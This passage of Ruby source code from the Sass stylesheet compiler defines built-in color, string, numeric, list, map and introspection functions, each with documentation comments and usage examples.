[name.to_sym, val] end unless kwargs.empty? name, val = kwargs.to_a.first raise ArgumentError.new("Unknown argument $#{name} (#{val})") end color.with(with) end declare :change_color, [:color], :var_kwargs => true # Mixes two colors together. Specifically, takes the average of each of the # RGB components, optionally weighted by the given percentage. The opacity # of the colors is also considered when weighting the components. # # The weight specifies the amount of the first color that should be included # in the returned color. The default, `50%`, means that half the first color # and half the second color should be used. `25%` means that a quarter of # the first color and three quarters of the second color should be used. # # @example # mix(#f00, #00f) => #7f007f # mix(#f00, #00f, 25%) => #3f00bf # mix(rgba(255, 0, 0, 0.5), #00f) => rgba(63, 0, 191, 0.75) # @overload mix($color1, $color2, $weight: 50%) # @param $color1 [Sass::Script::Value::Color] # @param $color2 [Sass::Script::Value::Color] # @param $weight [Sass::Script::Value::Number] The relative weight of each # color. Closer to `100%` gives more weight to `$color1`, closer to `0%` # gives more weight to `$color2` # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$weight` is out of bounds or any parameter is # the wrong type def mix(color1, color2, weight = number(50)) assert_type color1, :Color, :color1 assert_type color2, :Color, :color2 assert_type weight, :Number, :weight Sass::Util.check_range("Weight", 0..100, weight, '%') # This algorithm factors in both the user-provided weight (w) and the # difference between the alpha values of the two colors (a) to decide how # to perform the weighted average of the two RGB values. # # It works by first normalizing both parameters to be within [-1, 1], # where 1 indicates "only use color1", -1 indicates "only use color2", and # all values in between indicated a proportionately weighted average. # # Once we have the normalized variables w and a, we apply the formula # (w + a)/(1 + w*a) to get the combined weight (in [-1, 1]) of color1. # This formula has two especially nice properties: # # * When either w or a are -1 or 1, the combined weight is also that number # (cases where w * a == -1 are undefined, and handled as a special case). # # * When a is 0, the combined weight is w, and vice versa. # # Finally, the weight of color1 is renormalized to be within [0, 1] # and the weight of color2 is given by 1 minus the weight of color1. p = (weight.value / 100.0).to_f w = p * 2 - 1 a = color1.alpha - color2.alpha w1 = ((w * a == -1 ? w : (w + a) / (1 + w * a)) + 1) / 2.0 w2 = 1 - w1 rgba = color1.rgb.zip(color2.rgb).map {|v1, v2| v1 * w1 + v2 * w2} rgba << color1.alpha * p + color2.alpha * (1 - p) rgb_color(*rgba) end declare :mix, [:color1, :color2] declare :mix, [:color1, :color2, :weight] # Converts a color to grayscale. This is identical to `desaturate(color, # 100%)`. # # @see #desaturate # @overload grayscale($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$color` isn't a color def grayscale(color) if color.is_a?(Sass::Script::Value::Number) return identifier("grayscale(#{color})") end desaturate color, number(100) end declare :grayscale, [:color] # Returns the complement of a color. This is identical to `adjust-hue(color, # 180deg)`. # # @see #adjust_hue #adjust-hue # @overload complement($color) # @param $color [Sass::Script::Value::Color] # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$color` isn't a color def complement(color) adjust_hue color, number(180) end declare :complement, [:color] # Returns the inverse (negative) of a color. The red, green, and blue values # are inverted, while the opacity is left alone. # # @overload invert($color) # @param $color [Sass::Script::Value::Color] # @overload invert($color, $weight: 100%) # @param $color [Sass::Script::Value::Color] # @param $weight [Sass::Script::Value::Number] The relative weight of the # color color's inverse # @return [Sass::Script::Value::Color] # @raise [ArgumentError] if `$color` isn't a color or `$weight` # isn't a percentage between 0% and 100% def invert(color, weight = number(100)) if color.is_a?(Sass::Script::Value::Number) return identifier("invert(#{color})") end assert_type color, :Color, :color inv = color.with( :red => (255 - color.red), :green => (255 - color.green), :blue => (255 - color.blue)) mix(inv, color, weight) end declare :invert, [:color] declare :invert, [:color, :weight] # Removes quotes from a string. If the string is already unquoted, this will # return it unmodified. # # @see #quote # @example # unquote("foo") => foo # unquote(foo) => foo # @overload unquote($string) # @param $string [Sass::Script::Value::String] # @return [Sass::Script::Value::String] # @raise [ArgumentError] if `$string` isn't a string def unquote(string) unless string.is_a?(Sass::Script::Value::String) # Don't warn multiple times for the same source line. $_sass_warned_for_unquote ||= Set.new frame = environment.stack.frames.last key = [frame.filename, frame.line] if frame return string if frame && $_sass_warned_for_unquote.include?(key) $_sass_warned_for_unquote << key if frame Sass::Util.sass_warn(<<MESSAGE.strip) DEPRECATION WARNING: Passing #{string.to_sass}, a non-string value, to unquote() will be an error in future versions of Sass. #{environment.stack.to_s.gsub(/^/, ' ' * 8)} MESSAGE return string end string.check_deprecated_interp return string if string.type == :identifier identifier(string.value) end declare :unquote, [:string] # Add quotes to a string if the string isn't quoted, # or returns the same string if it is. # # @see #unquote # @example # quote("foo") => "foo" # quote(foo) => "foo" # @overload quote($string) # @param $string [Sass::Script::Value::String] # @return [Sass::Script::Value::String] # @raise [ArgumentError] if `$string` isn't a string def quote(string) assert_type string, :String, :string if string.type != :string quoted_string(string.value) else string end end declare :quote, [:string] # Returns the number of characters in a string. # # @example # str-length("foo") => 3 # @overload str_length($string) # @param $string [Sass::Script::Value::String] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$string` isn't a string def str_length(string) assert_type string, :String, :string number(string.value.size) end declare :str_length, [:string] # Inserts `$insert` into `$string` at `$index`. # # Note that unlike some languages, the first character in a Sass string is # number 1, the second number 2, and so forth. # # @example # str-insert("abcd", "X", 1) => "Xabcd" # str-insert("abcd", "X", 4) => "abcXd" # str-insert("abcd", "X", 5) => "abcdX" # # @overload str_insert($string, $insert, $index) # @param $string [Sass::Script::Value::String] # @param $insert [Sass::Script::Value::String] # @param $index [Sass::Script::Value::Number] The position at which # `$insert` will be inserted. Negative indices count from the end of # `$string`. An index that's outside the bounds of the string will insert # `$insert` at the front or back of the string # @return [Sass::Script::Value::String] The result string. This will be # quoted if and only if `$string` was quoted # @raise [ArgumentError] if any parameter is the wrong type def str_insert(original, insert, index) assert_type original, :String, :string assert_type insert, :String, :insert assert_integer index, :index assert_unit index, nil, :index insertion_point = if index.to_i > 0 [index.to_i - 1, original.value.size].min else [index.to_i, -original.value.size - 1].max end result = original.value.dup.insert(insertion_point, insert.value) Sass::Script::Value::String.new(result, original.type) end declare :str_insert, [:string, :insert, :index] # Returns the index of the first occurrence of `$substring` in `$string`. If # there is no such occurrence, returns `null`. # # Note that unlike some languages, the first character in a Sass string is # number 1, the second number 2, and so forth. # # @example # str-index(abcd, a) => 1 # str-index(abcd, ab) => 1 # str-index(abcd, X) => null # str-index(abcd, c) => 3 # # @overload str_index($string, $substring) # @param $string [Sass::Script::Value::String] # @param $substring [Sass::Script::Value::String] # @return [Sass::Script::Value::Number, Sass::Script::Value::Null] # @raise [ArgumentError] if any parameter is the wrong type def str_index(string, substring) assert_type string, :String, :string assert_type substring, :String, :substring index = string.value.index(substring.value) index ? number(index + 1) : null end declare :str_index, [:string, :substring] # Extracts a substring from `$string`. The substring will begin at index # `$start-at` and ends at index `$end-at`. # # Note that unlike some languages, the first character in a Sass string is # number 1, the second number 2, and so forth. # # @example # str-slice("abcd", 2, 3) => "bc" # str-slice("abcd", 2) => "bcd" # str-slice("abcd", -3, -2) => "bc" # str-slice("abcd", 2, -2) => "bc" # # @overload str_slice($string, $start-at, $end-at: -1) # @param $start-at [Sass::Script::Value::Number] The index of the first # character of the substring. If this is negative, it counts from the end # of `$string` # @param $end-at [Sass::Script::Value::Number] The index of the last # character of the substring. If this is negative, it counts from the end # of `$string`. Defaults to -1 # @return [Sass::Script::Value::String] The substring. This will be quoted # if and only if `$string` was quoted # @raise [ArgumentError] if any parameter is the wrong type def str_slice(string, start_at, end_at = nil) assert_type string, :String, :string assert_unit start_at, nil, "start-at" end_at = number(-1) if end_at.nil? assert_unit end_at, nil, "end-at" return Sass::Script::Value::String.new("", string.type) if end_at.value == 0 s = start_at.value > 0 ? start_at.value - 1 : start_at.value e = end_at.value > 0 ? end_at.value - 1 : end_at.value s = string.value.length + s if s < 0 s = 0 if s < 0 e = string.value.length + e if e < 0 return Sass::Script::Value::String.new("", string.type) if e < 0 extracted = string.value.slice(s..e) Sass::Script::Value::String.new(extracted || "", string.type) end declare :str_slice, [:string, :start_at] declare :str_slice, [:string, :start_at, :end_at] # Converts a string to upper case. # # @example # to-upper-case(abcd) => ABCD # # @overload to_upper_case($string) # @param $string [Sass::Script::Value::String] # @return [Sass::Script::Value::String] # @raise [ArgumentError] if `$string` isn't a string def to_upper_case(string) assert_type string, :String, :string Sass::Script::Value::String.new(Sass::Util.upcase(string.value), string.type) end declare :to_upper_case, [:string] # Convert a string to lower case, # # @example # to-lower-case(ABCD) => abcd # # @overload to_lower_case($string) # @param $string [Sass::Script::Value::String] # @return [Sass::Script::Value::String] # @raise [ArgumentError] if `$string` isn't a string def to_lower_case(string) assert_type string, :String, :string Sass::Script::Value::String.new(Sass::Util.downcase(string.value), string.type) end declare :to_lower_case, [:string] # Returns the type of a value. # # @example # type-of(100px) => number # type-of(asdf) => string # type-of("asdf") => string # type-of(true) => bool # type-of(#fff) => color # type-of(blue) => color # type-of(null) => null # type-of(a b c) => list # type-of((a: 1, b: 2)) => map # type-of(get-function("foo")) => function # # @overload type_of($value) # @param $value [Sass::Script::Value::Base] The value to inspect # @return [Sass::Script::Value::String] The unquoted string name of the # value's type def type_of(value) value.check_deprecated_interp if value.is_a?(Sass::Script::Value::String) identifier(value.class.name.gsub(/Sass::Script::Value::/, '').downcase) end declare :type_of, [:value] # Returns whether a feature exists in the current Sass runtime. # # The following features are supported: # # * `global-variable-shadowing` indicates that a local variable will shadow # a global variable unless `!global` is used. # # * `extend-selector-pseudoclass` indicates that `@extend` will reach into # selector pseudoclasses like `:not`. # # * `units-level-3` indicates full support for unit arithmetic using units # defined in the [Values and Units Level 3][] spec. # # [Values and Units Level 3]: http://www.w3.org/TR/css3-values/ # # * `at-error` indicates that the Sass `@error` directive is supported. # # * `custom-property` indicates that the [Custom Properties Level 1][] spec # is supported. This means that custom properties are parsed statically, # with only interpolation treated as SassScript. # # [Custom Properties Level 1]: https://www.w3.org/TR/css-variables-1/ # # @example # feature-exists(some-feature-that-exists) => true # feature-exists(what-is-this-i-dont-know) => false # # @overload feature_exists($feature) # @param $feature [Sass::Script::Value::String] The name of the feature # @return [Sass::Script::Value::Bool] Whether the feature is supported in this version of Sass # @raise [ArgumentError] if `$feature` isn't a string def feature_exists(feature) assert_type feature, :String, :feature bool(Sass.has_feature?(feature.value)) end declare :feature_exists, [:feature] # Returns a reference to a function for later invocation with the `call()` function. # # If `$css` is `false`, the function reference may refer to a function # defined in your stylesheet or built-in to the host environment. If it's # `true` it will refer to a plain-CSS function. # # @example # get-function("rgb") # # @function myfunc { @return "something"; } # get-function("myfunc") # # @overload get_function($name, $css: false) # @param name [Sass::Script::Value::String] The name of the function being referenced. # @param css [Sass::Script::Value::Bool] Whether to get a plain CSS function. # # @return [Sass::Script::Value::Function] A function reference. def get_function(name, kwargs = {}) assert_type name, :String, :name css = if kwargs.has_key?("css") v = kwargs.delete("css") assert_type v, :Bool, :css v.value else false end if kwargs.any? raise ArgumentError.new("Illegal keyword argument '#{kwargs.keys.first}'") end if css return Sass::Script::Value::Function.new( Sass::Callable.new(name.value, nil, nil, nil, nil, nil, "function", :css)) end callable = environment.caller.function(name.value) || (Sass::Script::Functions.callable?(name.value.tr("-", "_")) && Sass::Callable.new(name.value, nil, nil, nil, nil, nil, "function", :builtin)) if callable Sass::Script::Value::Function.new(callable) else raise Sass::SyntaxError.new("Function not found: #{name}") end end declare :get_function, [:name], :var_kwargs => true # Returns the unit(s) associated with a number. Complex units are sorted in # alphabetical order by numerator and denominator. # # @example # unit(100) => "" # unit(100px) => "px" # unit(3em) => "em" # unit(10px * 5em) => "em*px" # unit(10px * 5em / 30cm / 1rem) => "em*px/cm*rem" # @overload unit($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::String] The unit(s) of the number, as a # quoted string # @raise [ArgumentError] if `$number` isn't a number def unit(number) assert_type number, :Number, :number quoted_string(number.unit_str) end declare :unit, [:number] # Returns whether a number has units. # # @example # unitless(100) => true # unitless(100px) => false # @overload unitless($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Bool] # @raise [ArgumentError] if `$number` isn't a number def unitless(number) assert_type number, :Number, :number bool(number.unitless?) end declare :unitless, [:number] # Returns whether two numbers can added, subtracted, or compared. # # @example # comparable(2px, 1px) => true # comparable(100px, 3em) => false # comparable(10cm, 3mm) => true # @overload comparable($number1, $number2) # @param $number1 [Sass::Script::Value::Number] # @param $number2 [Sass::Script::Value::Number] # @return [Sass::Script::Value::Bool] # @raise [ArgumentError] if either parameter is the wrong type def comparable(number1, number2) assert_type number1, :Number, :number1 assert_type number2, :Number, :number2 bool(number1.comparable_to?(number2)) end declare :comparable, [:number1, :number2] # Converts a unitless number to a percentage. # # @example # percentage(0.2) => 20% # percentage(100px / 50px) => 200% # @overload percentage($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$number` isn't a unitless number def percentage(number) unless number.is_a?(Sass::Script::Value::Number) && number.unitless? raise ArgumentError.new("$number: #{number.inspect} is not a unitless number") end number(number.value * 100, '%') end declare :percentage, [:number] # Rounds a number to the nearest whole number. # # @example # round(10.4px) => 10px # round(10.6px) => 11px # @overload round($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$number` isn't a number def round(number) numeric_transformation(number) {|n| Sass::Util.round(n)} end declare :round, [:number] # Rounds a number up to the next whole number. # # @example # ceil(10.4px) => 11px # ceil(10.6px) => 11px # @overload ceil($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$number` isn't a number def ceil(number) numeric_transformation(number) {|n| n.ceil} end declare :ceil, [:number] # Rounds a number down to the previous whole number. # # @example # floor(10.4px) => 10px # floor(10.6px) => 10px # @overload floor($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$number` isn't a number def floor(number) numeric_transformation(number) {|n| n.floor} end declare :floor, [:number] # Returns the absolute value of a number. # # @example # abs(10px) => 10px # abs(-10px) => 10px # @overload abs($number) # @param $number [Sass::Script::Value::Number] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if `$number` isn't a number def abs(number) numeric_transformation(number) {|n| n.abs} end declare :abs, [:number] # Finds the minimum of several numbers. This function takes any number of # arguments. # # @example # min(1px, 4px) => 1px # min(5em, 3em, 4em) => 3em # @overload min($numbers...) # @param $numbers [[Sass::Script::Value::Number]] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if any argument isn't a number, or if not all of # the arguments have comparable units def min(*numbers) numbers.each {|n| assert_type n, :Number} numbers.inject {|min, num| min.lt(num).to_bool ? min : num} end declare :min, [], :var_args => :true # Finds the maximum of several numbers. This function takes any number of # arguments. # # @example # max(1px, 4px) => 4px # max(5em, 3em, 4em) => 5em # @overload max($numbers...) # @param $numbers [[Sass::Script::Value::Number]] # @return [Sass::Script::Value::Number] # @raise [ArgumentError] if any argument isn't a number, or if not all of # the arguments have comparable units def max(*values) values.each {|v| assert_type v, :Number} values.inject {|max, val| max.gt(val).to_bool ? max : val} end declare :max, [], :var_args => :true # Return the length of a list. # # This can return the number of pairs in a map as well. # # @example # length(10px) => 1 # length(10px 20px 30px) => 3 # length((width: 10px, height: 20px)) => 2 # @overload length($list) # @param $list [Sass::Script::Value::Base] # @return [Sass::Script::Value::Number] def length(list) number(list.to_a.size) end declare :length, [:list] # Return a new list, based on the list provided, but with the nth # element changed to the value given. # # Note that unlike some languages, the first item in a Sass list is number # 1, the second number 2, and so forth. # # Negative index values address elements in reverse order, starting with the last element # in the list. # # @example # set-nth($list: 10px 20px 30px, $n: 2, $value: -20px) => 10px -20px 30px # @overload set-nth($list, $n, $value) # @param $list [Sass::Script::Value::Base] The list that will be copied, having the element # at index `$n` changed. # @param $n [Sass::Script::Value::Number] The index of the item to set. # Negative indices count from the end of the list. # @param $value [Sass::Script::Value::Base] The new value at index `$n`. # @return [Sass::Script::Value::List] # @raise [ArgumentError] if `$n` isn't an integer between 1 and the length # of `$list` def set_nth(list, n, value) assert_type n, :Number, :n Sass::Script::Value::List.assert_valid_index(list, n) index = n.to_i > 0 ? n.to_i - 1 : n.to_i new_list = list.to_a.dup new_list[index] = value list.with_contents(new_list) end declare :set_nth, [:list, :n, :value] # Gets the nth item in a list. # # Note that unlike some languages, the first item in a Sass list is number # 1, the second number 2, and so forth. # # This can return the nth pair in a map as well. # # Negative index values address elements in reverse order, starting with the last element in # the list. # # @example # nth(10px 20px 30px, 1) => 10px # nth((Helvetica, Arial, sans-serif), 3) => sans-serif # nth((width: 10px, length: 20px), 2) => length, 20px # @overload nth($list, $n) # @param $list [Sass::Script::Value::Base] # @param $n [Sass::Script::Value::Number] The index of the item to get. # Negative indices count from the end of the list. # @return [Sass::Script::Value::Base] # @raise [ArgumentError] if `$n` isn't an integer between 1 and the length # of `$list` def nth(list, n) assert_type n, :Number, :n Sass::Script::Value::List.assert_valid_index(list, n) index = n.to_i > 0 ? n.to_i - 1 : n.to_i list.to_a[index] end declare :nth, [:list, :n] # Joins together two lists into one. # # Unless `$separator` is passed, if one list is comma-separated and one is # space-separated, the first parameter's separator is used for the resulting # list. If both lists have fewer than two items, spaces are used for the # resulting list. # # Unless `$bracketed` is passed, the resulting list is bracketed if the # first parameter is. # # Like all list functions, `join()` returns a new list rather than modifying # its arguments in place. # # @example # join(10px 20px, 30px 40px) => 10px 20px 30px 40px # join((blue, red), (#abc, #def)) => blue, red, #abc, #def # join(10px, 20px) => 10px 20px # join(10px, 20px, comma) => 10px, 20px # join((blue, red), (#abc, #def), space) => blue red #abc #def # join([10px], 20px) => [10px 20px] # @overload join($list1, $list2, $separator: auto, $bracketed: auto) # @param $list1 [Sass::Script::Value::Base] # @param $list2 [Sass::Script::Value::Base] # @param $separator [Sass::Script::Value::String] The list separator to use. # If this is `comma` or `space`, that separator will be used. If this is # `auto` (the default), the separator is determined as explained above. # @param $bracketed [Sass::Script::Value::Base] Whether the resulting list # will be bracketed. If this is `auto` (the default), the separator is # determined as explained above. # @return [Sass::Script::Value::List] def join(list1, list2, separator = identifier("auto"), bracketed = identifier("auto"), kwargs = nil, *rest) if separator.is_a?(Hash) kwargs = separator separator = identifier("auto") elsif bracketed.is_a?(Hash) kwargs = bracketed bracketed = identifier("auto") elsif rest.last.is_a?(Hash) rest.unshift kwargs kwargs = rest.pop end unless rest.empty? # Add 4 to rest.length because we don't want to count the kwargs hash, # which is always passed. raise ArgumentError.new("wrong number of arguments (#{rest.length + 4} for 2..4)") end if kwargs separator = kwargs.delete("separator") || separator bracketed = kwargs.delete("bracketed") || bracketed unless kwargs.empty? name, val = kwargs.to_a.first raise ArgumentError.new("Unknown argument $#{name} (#{val})") end end assert_type separator, :String, :separator unless %w(auto space comma).include?(separator.value) raise ArgumentError.new("Separator name must be space, comma, or auto") end list(list1.to_a + list2.to_a, separator: if separator.value == 'auto' list1.separator || list2.separator || :space else separator.value.to_sym end, bracketed: if bracketed.is_a?(Sass::Script::Value::String) && bracketed.value == 'auto' list1.bracketed else bracketed.to_bool end) end # We don't actually take variable arguments or keyword arguments, but this # is the best way to take either `$separator` or `$bracketed` as keywords # without complaining about the other missing. declare :join, [:list1, :list2], :var_args => true, :var_kwargs => true # Appends a single value onto the end of a list. # # Unless the `$separator` argument is passed, if the list had only one item, # the resulting list will be space-separated. # # Like all list functions, `append()` returns a new list rather than # modifying its argument in place. # # @example # append(10px 20px, 30px) => 10px 20px 30px # append((blue, red), green) => blue, red, green # append(10px 20px, 30px 40px) => 10px 20px (30px 40px) # append(10px, 20px, comma) => 10px, 20px # append((blue, red), green, space) => blue red green # @overload append($list, $val, $separator: auto) # @param $list [Sass::Script::Value::Base] # @param $val [Sass::Script::Value::Base] # @param $separator [Sass::Script::Value::String] The list separator to use. # If this is `comma` or `space`, that separator will be used. If this is # `auto` (the default), the separator is determined as explained above. # @return [Sass::Script::Value::List] def append(list, val, separator = identifier("auto")) assert_type separator, :String, :separator unless %w(auto space comma).include?(separator.value) raise ArgumentError.new("Separator name must be space, comma, or auto") end list.with_contents(list.to_a + [val], separator: if separator.value == 'auto' list.separator || :space else separator.value.to_sym end) end declare :append, [:list, :val] declare :append, [:list, :val, :separator] # Combines several lists into a single multidimensional list. The nth value # of the resulting list is a space separated list of the source lists' nth # values. # # The length of the resulting list is the length of the # shortest list. # # @example # zip(1px 1px 3px, solid dashed solid, red green blue) # => 1px solid red, 1px dashed green, 3px solid blue # @overload zip($lists...) # @param $lists [[Sass::Script::Value::Base]] # @return [Sass::Script::Value::List] def zip(*lists) length = nil values = [] lists.each do |list| array = list.to_a values << array.dup length = length.nil? ? array.length : [length, array.length].min end values.each do |value| value.slice!(length) end new_list_value = values.first.zip(*values[1..-1]) list(new_list_value.map {|list| list(list, :space)}, :comma) end declare :zip, [], :var_args => true # Returns the position of a value within a list. If the value isn't found, # returns `null` instead. # # Note that unlike some languages, the first item in a Sass list is number # 1, the second number 2, and so forth. # # This can return the position of a pair in a map as well. # # @example # index(1px solid red, solid) => 2 # index(1px solid red, dashed) => null # index((width: 10px, height: 20px), (height 20px)) => 2 # @overload index($list, $value) # @param $list [Sass::Script::Value::Base] # @param $value [Sass::Script::Value::Base] # @return [Sass::Script::Value::Number, Sass::Script::Value::Null] The # 1-based index of `$value` in `$list`, or `null` def index(list, value) index = list.to_a.index {|e| e.eq(value).to_bool} index ? number(index + 1) : null end declare :index, [:list, :value] # Returns the separator of a list. If the list doesn't have a separator due # to having fewer than two elements, returns `space`. # # @example # list-separator(1px 2px 3px) => space # list-separator(1px, 2px, 3px) => comma # list-separator('foo') => space # @overload list_separator($list) # @param $list [Sass::Script::Value::Base] # @return [Sass::Script::Value::String] `comma` or `space` def list_separator(list) identifier((list.separator || :space).to_s) end declare :list_separator, [:list] # Returns whether a list uses square brackets. # # @example # is-bracketed(1px 2px 3px) => false # is-bracketed([1px, 2px, 3px]) => true # @overload is_bracketed($list) # @param $list [Sass::Script::Value::Base] # @return [Sass::Script::Value::Bool] def is_bracketed(list) bool(list.bracketed) end declare :is_bracketed, [:list] # Returns the value in a map associated with the given key. If the map # doesn't have such a key, returns `null`. # # @example # map-get(("foo": 1, "bar": 2), "foo") => 1 # map-get(("foo": 1, "bar": 2), "bar") => 2 # map-get(("foo": 1, "bar": 2), "baz") => null # @overload map_get($map, $key) # @param $map [Sass::Script::Value::Map] # @param $key [Sass::Script::Value::Base] # @return [Sass::Script::Value::Base] The value indexed by `$key`, or `null` # if the map doesn't contain the given key # @raise [ArgumentError] if `$map` is not a map def map_get(map, key) assert_type map, :Map, :map map.to_h[key] || null end declare :map_get, [:map, :key] # Merges two maps together into a new map. Keys in `$map2` will take # precedence over keys in `$map1`. # # This is the best way to add new values to a map. # # All keys in the returned map that also appear in `$map1` will have the # same order as in `$map1`. New keys from `$map2` will be placed at the end # of the map. # # Like all map functions, `map-merge()` returns a new map rather than # modifying its arguments in place. # # @example # map-merge(("foo": 1), ("bar": 2)) => ("foo": 1, "bar": 2) # map-merge(("foo": 1, "bar": 2), ("bar": 3)) => ("foo": 1, "bar": 3) # @overload map_merge($map1, $map2) # @param $map1 [Sass::Script::Value::Map] # @param $map2 [Sass::Script::Value::Map] # @return [Sass::Script::Value::Map] # @raise [ArgumentError] if either parameter is not a map def map_merge(map1, map2) assert_type map1, :Map, :map1 assert_type map2, :Map, :map2 map(map1.to_h.merge(map2.to_h)) end declare :map_merge, [:map1, :map2] # Returns a new map with keys removed. # # Like all map functions, `map-merge()` returns a new map rather than # modifying its arguments in place. # # @example # map-remove(("foo": 1, "bar": 2), "bar") => ("foo": 1) # map-remove(("foo": 1, "bar": 2, "baz": 3), "bar", "baz") => ("foo": 1) # map-remove(("foo": 1, "bar": 2), "baz") => ("foo": 1, "bar": 2) # @overload map_remove($map, $keys...) # @param $map [Sass::Script::Value::Map] # @param $keys [[Sass::Script::Value::Base]] # @return [Sass::Script::Value::Map] # @raise [ArgumentError] if `$map` is not a map def map_remove(map, *keys) assert_type map, :Map, :map hash = map.to_h.dup hash.delete_if {|key, _| keys.include?(key)} map(hash) end declare :map_remove, [:map, :key], :var_args => true # Returns a list of all keys in a map. # # @example # map-keys(("foo": 1, "bar": 2)) => "foo", "bar" # @overload map_keys($map) # @param $map [Map] # @return [List] the list of keys, comma-separated # @raise [ArgumentError] if `$map` is not a map def map_keys(map) assert_type map, :Map, :map list(map.to_h.keys, :comma) end declare :map_keys, [:map] # Returns a list of all values in a map. This list may include duplicate # values, if multiple keys have the same value. # # @example # map-values(("foo": 1, "bar": 2)) => 1, 2 # map-values(("foo": 1, "bar": 2, "baz": 1)) => 1, 2, 1 # @overload map_values($map) # @param $map [Map] # @return [List] the list of values, comma-separated # @raise [ArgumentError] if `$map` is not a map def map_values(map) assert_type map, :Map, :map list(map.to_h.values, :comma) end declare :map_values, [:map] # Returns whether a map has a value associated with a given key. # # @example # map-has-key(("foo": 1, "bar": 2), "foo") => true # map-has-key(("foo": 1, "bar": 2), "baz") => false # @overload map_has_key($map, $key) # @param $map [Sass::Script::Value::Map] # @param $key [Sass::Script::Value::Base] # @return [Sass::Script::Value::Bool] # @raise [ArgumentError] if `$map` is not a map def map_has_key(map, key) assert_type map, :Map, :map bool(map.to_h.has_key?(key)) end declare :map_has_key, [:map, :key] # Returns the map of named arguments passed to a function or mixin that # takes a variable argument list. The argument names are strings, and they # do not contain the leading `$`. # # @example # @mixin foo($args...) { # @debug keywords($args); //=> (arg1: val, arg2: val) # } # # @include foo($arg1: val, $arg2: val); # @overload keywords($args) # @param $args [Sass::Script::Value::ArgList] # @return [Sass::Script::Value::Map] # @raise [ArgumentError] if `$args` isn't a variable argument list def keywords(args) assert_type args, :ArgList, :args map(Sass::Util.map_keys(args.keywords.as_stored) {|k| Sass::Script::Value::String.new(k)}) end declare :keywords, [:args] # Returns one of two values, depending on whether or not `$condition` is # true. Just like in `@if`, all values other than `false` and `null` are # considered to be true. # # @example # if(true, 1px, 2px) => 1px # if(false, 1px, 2px) => 2px # @overload if($condition, $if-true, $if-false) # @param $condition [Sass::Script::Value::Base] Whether the `$if-true` or # `$if-false` will be returned # @param $if-true [Sass::Script::Tree::Node] # @param $if-false [Sass::Script::Tree::Node] # @return [Sass::Script::Value::Base] `$if-true` or `$if-false` def if(condition, if_true, if_false) if condition.to_bool perform(if_true) else perform(if_false) end end declare :if, [:condition, :"&if_true", :"&if_false"] # Returns a unique CSS identifier. The identifier is returned as an unquoted # string. The identifier returned is only guaranteed to be unique within the # scope of a single Sass run. # # @overload unique_id() # @return [Sass::Script::Value::String] def unique_id generator = Sass::Script::Functions.random_number_generator Thread.current[:sass_last_unique_id] ||= generator.rand(36**8) # avoid the temptation of trying to guess the next unique value. value = (Thread.current[:sass_last_unique_id] += (generator.rand(10) + 1)) # the u makes this a legal identifier if it would otherwise start with a number. identifier("u" + value.to_s(36).rjust(8, '0')) end declare :unique_id, [] # Dynamically calls a function. This can call user-defined # functions, built-in functions, or plain CSS functions. It will # pass along all arguments, including keyword arguments, to the # called function. # # @example # call(rgb, 10, 100, 255) => #0a64ff # call(scale-color, #0a64ff, $lightness: -10%) => #0058ef # # $fn: nth; # call($fn, (a b c), 2) => b # # @overload call($function, $args...) # @param $function [Sass::Script::Value::Function] The function to call. def call(name, *args) unless name.is_a?(Sass::Script::Value::String) || name.is_a?(Sass::Script::Value::Function) assert_type name, :Function, :function end if name.is_a?(Sass::Script::Value::String) name = if function_exists(name).to_bool get_function(name) else get_function(name, "css" => bool(true)) end Sass::Util.sass_warn(<<WARNING) DEPRECATION WARNING: Passing a string to call() is deprecated and will be illegal in Sass 4.0. Use call(#{name.to_sass}) instead. WARNING end kwargs = args.last.is_a?(Hash) ? args.pop : {} funcall = Sass::Script::Tree::Funcall.new( name.value, args.map {|a| Sass::Script::Tree::Literal.new(a)}, Sass::Util.map_vals(kwargs) {|v| Sass::Script::Tree::Literal.new(v)}, nil, nil) funcall.line = environment.stack.frames.last.line funcall.filename = environment.stack.frames.last.filename funcall.options = options perform(funcall) end declare :call, [:name], :var_args => true, :var_kwargs => true # This function only exists as a workaround for IE7's [`content: # counter` bug](http://jes.st/2013/ie7s-css-breaking-content-counter-bug/). # It works identically to any other plain-CSS function, except it # avoids adding spaces between the argument commas. # # @example # counter(item, ".") => counter(item,".") # @overload counter($args...) # @return [Sass::Script::Value::String] def counter(*args) identifier("counter(#{args.map {|a| a.to_s(options)}.join(',')})") end declare :counter, [], :var_args => true # This function only exists as a workaround for IE7's [`content: # counter` bug](http://jes.st/2013/ie7s-css-breaking-content-counter-bug/). # It works identically to any other plain-CSS function, except it # avoids adding spaces between the argument commas. # # @example # counters(item, ".") => counters(item,".") # @overload counters($args...) # @return [Sass::Script::Value::String] def counters(*args) identifier("counters(#{args.map {|a| a.to_s(options)}.join(',')})") end declare :counters, [], :var_args => true # Check whether a variable with the given name exists in the current # scope or in the global scope. # # @example # $a-false-value: false; # variable-exists(a-false-value) => true # variable-exists(a-null-value) => true # # variable-exists(nonexistent) => false # # @overload variable_exists($name) # @param $name [Sass::Script::Value::String] The name of the variable to # check. The name should not include the `$`. # @return [Sass::Script::Value::Bool] Whether the variable is defined in # the current scope. def variable_exists(name) assert_type name, :String, :name bool(environment.caller.var(name.value)) end declare :variable_exists, [:name] # Check whether a variable with the given name exists in the global # scope (at the top level of the file). # # @example # $a-false-value: false; # global-variable-exists(a-false-value) => true # global-variable-exists(a-null-value) => true # # .foo { # $some-var: false; # @if global-variable-exists(some-var) { /* false, doesn't run */ } # } # # @overload global_variable_exists($name) # @param $name [Sass::Script::Value::String] The name of the variable to # check. The name should not include the `$`. # @return [Sass::Script::Value::Bool] Whether the variable is defined in # the global scope. def global_variable_exists(name) assert_type name, :String, :name bool(environment.global_env.var(name.value)) end declare 